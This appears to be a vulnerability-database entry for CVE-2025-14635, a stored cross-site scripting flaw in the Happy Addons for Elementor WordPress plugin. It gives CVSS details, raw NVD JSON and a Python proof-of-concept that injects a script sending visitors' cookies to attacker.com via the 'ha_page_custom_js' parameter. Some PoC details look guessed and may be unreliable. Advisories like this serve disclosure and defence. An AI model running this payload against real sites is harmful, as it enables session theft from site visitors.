Security Vulnerability Report
中文
CVE-2025-14635 CVSS 6.4 MEDIUM

CVE-2025-14635

Published: 2025-12-23 12:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Happy Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ha_page_custom_js' parameter in all versions up to, and including, 3.20.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, despite the intended role restriction of Custom JS to Administrators.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Happy Addons for Elementor <= 3.20.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-14635 PoC - Happy Addons for Elementor Stored XSS # Target: WordPress site with Happy Addons for Elementor <= 3.20.3 target_url = "http://target-wordpress-site.com" username = "contributor_user" password = "user_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Get nonce for Custom JS settings page_url = f"{target_url}/wp-admin/admin.php?page=happyaddons" response = session.get(page_url) nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) wpnonce = nonce_match.group(1) if nonce_match else "" # Step 3: Inject malicious JavaScript via ha_page_custom_js parameter # XSS payload: Steals cookies and sends to attacker-controlled endpoint xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' custom_js_url = f"{target_url}/wp-admin/admin-ajax.php" post_data = { "action": "ha_save_custom_js", "ha_page_custom_js": xss_payload, "post_id": "123", # Target page ID "_wpnonce": wpnonce } session.post(custom_js_url, data=post_data) print("XSS payload injected successfully. Payload will execute when page is viewed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14635", "sourceIdentifier": "[email protected]", "published": "2025-12-23T12:15:44.890", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Happy Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ha_page_custom_js' parameter in all versions up to, and including, 3.20.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, despite the intended role restriction of Custom JS to Administrators."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/happy-elementor-addons/tags/3.20.2/extensions/custom-js.php#L60", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/happy-elementor-addons/tags/3.20.2/extensions/custom-js.php#L76", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3421733/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/16e7adef-68ab-4dd6-bd80-252622cfe705?source=cve", "source": "[email protected]"}]}}